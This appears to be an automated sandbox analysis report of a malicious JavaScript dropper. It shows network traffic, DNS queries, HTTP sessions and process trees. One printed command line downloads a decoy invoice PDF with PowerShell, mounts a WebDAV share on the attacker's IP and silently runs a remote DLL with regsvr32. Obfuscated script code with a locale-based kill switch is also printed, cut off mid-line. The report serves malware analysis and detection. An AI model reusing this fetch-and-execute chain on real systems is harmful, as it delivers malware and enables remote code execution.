Jan 11, 2025 04:35:14.462768078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462785006 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462800980 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462910891 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462929010 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462945938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462992907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462999105 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463027000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463061094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463093996 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463094950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463129997 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463155985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463464975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463499069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463515997 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463534117 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463567019 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463587046 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463604927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463640928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463649988 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463675022 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463706970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463720083 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463741064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463773966 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463803053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463808060 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463840008 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463852882 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.463874102 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463908911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.463920116 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.464117050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.464150906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.464168072 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.464193106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.464240074 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.575602055 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.597485065 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.952267885 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:15.359330893 CET	49729	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:15.364130020 CET	8888	49729	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:15.364283085 CET	49729	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:15.364775896 CET	49729	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:15.369601965 CET	8888	49729	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:16.152960062 CET	8888	49729	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:16.197232008 CET	49729	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:17.320511103 CET	49729	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:36:54.636578083 CET	51960	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:54.641645908 CET	53	51960	1.1.1.1	192.168.2.10
Jan 11, 2025 04:36:54.641782999 CET	51960	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:54.641810894 CET	51960	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:54.646689892 CET	53	51960	1.1.1.1	192.168.2.10
Jan 11, 2025 04:36:55.087157011 CET	53	51960	1.1.1.1	192.168.2.10
Jan 11, 2025 04:36:55.088222027 CET	51960	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:55.094003916 CET	53	51960	1.1.1.1	192.168.2.10
Jan 11, 2025 04:36:55.094821930 CET	51960	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:35:28.300575018 CET	63655	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:35:52.365304947 CET	62838	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:16.442291975 CET	60781	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:40.598258972 CET	61745	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:36:54.636035919 CET	53	55994	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:35:28.300575018 CET	192.168.2.10	1.1.1.1	0x8233	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:52.365304947 CET	192.168.2.10	1.1.1.1	0xa0a8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:36:16.442291975 CET	192.168.2.10	1.1.1.1	0xb366	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:36:40.598258972 CET	192.168.2.10	1.1.1.1	0x9440	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:26.297275066 CET	1.1.1.1	192.168.2.10	0x3f40	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:28.307765961 CET	1.1.1.1	192.168.2.10	0x8233	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:35:52.374248981 CET	1.1.1.1	192.168.2.10	0xa0a8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:36:16.450740099 CET	1.1.1.1	192.168.2.10	0xb366	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:36:40.607342005 CET	1.1.1.1	192.168.2.10	0x9440	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49711	193.143.1.205	80	8080	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:35:12.892957926 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:35:13.696557045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:35:13.696603060 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:35:13.696621895 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:35:13.696773052 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:35:13.696795940 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 04:35:13.696873903 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 04:35:13.696892977 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 04:35:13.696911097 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 04:35:13.696948051 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 04:35:13.696968079 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 04:35:13.747545958 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49729	193.143.1.205	8888	7400	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:35:15.364775896 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:35:16.152960062 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:35:08
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js"
Imagebase:	0x7ff752110000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:35:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Imagebase:	0x7ff76f920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:35:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:35:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:35:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:35:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76f920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:35:14
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78f0d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:35:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:35:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:35:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1620,i,3656808603728211893,16428644544822927007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pluyrattj() {	pluyrattj() ➔ undefined
1	lixcxtqfz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ehkakgask = this[otttx + beoio + cnwfrczyg + hsieba + foqtzrl + kvewl + kvmmdls + uruuhk] ( this[rjbbi + mnbkv + eqxffc + cnwfrczyg + iwjrkxxt + otttx + uruuhk][estvhxvy + cnwfrczyg + foqtzrl + beoio + uruuhk + foqtzrl + npsluer + yrcwyygsj + wrzap + foqtzrl + eqxffc + uruuhk] ( rjbbi + mnbkv + eqxffc + cnwfrczyg + iwjrkxxt + otttx + uruuhk + usohbjtd + mnbkv + srpuakwb + foqtzrl + topwg + topwg ) [idiukgfg + foqtzrl + lewwg + idiukgfg + foqtzrl + beoio + wjunhbv] ( cmqtvgi + mfzkh + ddpeo + llmvjg + qvykgozo + estvhxvy + dreoip + idiukgfg + idiukgfg + ddpeo + xhqqmeod + tqbst + qvykgozo + dreoip + mnbkv + ddpeo + idiukgfg + bxwgoh + estvhxvy + prjnd + kvmmdls + uruuhk + cnwfrczyg + prjnd + topwg + pjqugjbr + vzpcwxa + beoio + kvmmdls + foqtzrl + topwg + bxwgoh + kvewl + kvmmdls + uruuhk + foqtzrl + cnwfrczyg + kvmmdls + beoio + uruuhk + iwjrkxxt + prjnd + kvmmdls + beoio + topwg + bxwgoh + hftqarm + prjnd + eqxffc + beoio + topwg + foqtzrl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jnspq = 0 ; jnspq < lixcxtqfz[topwg + foqtzrl + kvmmdls + lewwg + uruuhk + srpuakwb] ; ++ jnspq )
4	{
5	if ( ehkakgask == lixcxtqfz[jnspq] )
6	{
7	ehkakgask = true;
8	break ;
9	}
10	}
11	if ( ehkakgask !== true )
12	this[rjbbi + mnbkv + eqxffc + cnwfrczyg + iwjrkxxt + otttx + uruuhk][mngxqov + qtohw + iwjrkxxt + uruuhk] ( );
13	this[rjbbi + mnbkv + eqxffc + cnwfrczyg + iwjrkxxt + otttx + uruuhk][estvhxvy + cnwfrczyg + foqtzrl + beoio + uruuhk + foqtzrl + npsluer + yrcwyygsj + wrzap + foqtzrl + eqxffc + uruuhk] ( rjbbi + mnbkv + eqxffc + cnwfrczyg + iwjrkxxt + otttx + uruuhk + usohbjtd + mnbkv + srpuakwb + foqtzrl + topwg + topwg ) [cnwfrczyg + qtohw + kvmmdls] ( eqxffc + qdzoftk + wjunhbv + pjqugjbr + gupbn + eqxffc + pjqugjbr + otttx + prjnd + ygywbj + foqtzrl + cnwfrczyg + hsieba + srpuakwb + foqtzrl + topwg + topwg + usohbjtd + foqtzrl + ifrjapnoz + foqtzrl + pjqugjbr + qjaqwpp + estvhxvy + prjnd + qdzoftk + qdzoftk + beoio + kvmmdls + wjunhbv + pjqugjbr + cornl + kvewl + kvmmdls + rihgvfvm + prjnd + fmludrlr + foqtzrl + qjaqwpp + rjbbi + foqtzrl + yrcwyygsj + idiukgfg + foqtzrl + dbogvmj + qtohw + foqtzrl + hsieba + uruuhk + pjqugjbr + qjaqwpp + npsluer + qtohw + uruuhk + whiloucae + iwjrkxxt + topwg + foqtzrl + pjqugjbr + mfbswhd + uruuhk + foqtzrl + qdzoftk + otttx + mfbswhd + bxwgoh + iwjrkxxt + kvmmdls + rihgvfvm + prjnd + iwjrkxxt + eqxffc + foqtzrl + usohbjtd + otttx + wjunhbv + jfirn + pjqugjbr + 